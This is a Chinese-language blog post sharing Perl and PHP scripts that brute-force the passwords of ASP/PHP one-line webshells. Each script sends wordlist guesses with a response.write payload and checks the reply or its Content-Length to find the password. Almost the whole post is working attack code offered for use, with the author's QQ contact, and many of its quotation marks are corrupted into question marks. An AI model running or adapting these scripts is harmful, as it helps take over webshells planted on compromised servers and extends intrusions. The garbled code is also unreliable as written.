一句話***破解很黃很暴力哦

ASP&PHP一句話***密碼破解的破解腳本,很黃很暴力.

#/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
print ?=========================\n?;
print ?\n?;
print ?crack.pl Url\n?;
print ?\n?;
print ?crack.pl http://www.t00ls.in/1.asp\n?;
print ?\n?;
print ?Made By Cond0r QQ 84588307\n?;
print ?\n?;
print ?=========================\n?;
print ?\n?;
print ?Url Is :?;
$ul=<STDIN>;
chomp $ul;

open PASS,?pass.txt?;
$a=0;
foreach $pass (<PASS>)
{
@pass[$a]=$pass;

$a++;
$ua = new LWP::UserAgent;
$text=?\?QQ84588307\?";
$url=$ul.???.$pass.?=response.write(?.$text.?)?;

$req=new HTTP::Request(?GET?,$url);
print $rep;
$respond = $ua->request($req)->as_string;
print   ?The Pass Is:?.$pass  if($respond =~ /QQ84588307/);

}

破解PHP一句話密碼 PHP版

<?php
/*
* Created on 2010-11-4
*/
set_time_limit(0);
$url = $_GET['url'];
$passfile = $_GET['upfile'];
$keyword = ?xxoo?;                      //關鍵字,改不改一樣,因爲判斷的不是內容,而是http返回的內容長度

$c_l = get_headers($url,1);             //獲得正常http頭的內容長度
$normal_c_l = $c_l['Content-Length'];

if($url && $passfile && $keyword) {
$fp = fopen($passfile,r);
while(!feof($fp)) {
$pass = trim(fgets($fp));
$all_url=$url.???.$pass.?=response.write(?.???.$keyword.??)?;
$head_msg = get_headers($all_url,1);
if($head_msg['Content-Length'] >$normal_c_l) {      //內容長度大於正常的就是keyword寫入了,密碼就出來咯
echo ?<font color=red>破解成功,密碼是:$pass</font>?;
exit();
}

}
fclose($fp);
}

?>
<html>
<head>
<title>asp一句話暴力破解</title>
</head>
<body>
<form action=? method=?get?>
<table>
<tr>
<td>一句話地址:</td>
<td><input type=?text? name=?url? value=?http://127.0.0.1:81/2.asp? /></td>
</tr>
<tr>
<td>密碼文件:</td>
<td><input name=?upfile? type=?file?></td>
</tr>
</table>
<input type=?submit? name=?submit? value=?提交?/>
</form>
<p>說明:不是用獲取頁面內容,再判斷關鍵字的方法。那樣在一個大量數據的網頁可能會很慢。</p>
<p>這裏用的是判斷http頭的Content-Length的方法,如果密碼匹配成功,則response.write就會成功,頁面內容就比原來多了</p>
<p>思路就是這樣!</p>
<p>php不能多線程,速度大概是1000個密碼15-20秒</p>
<body>
</html>

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章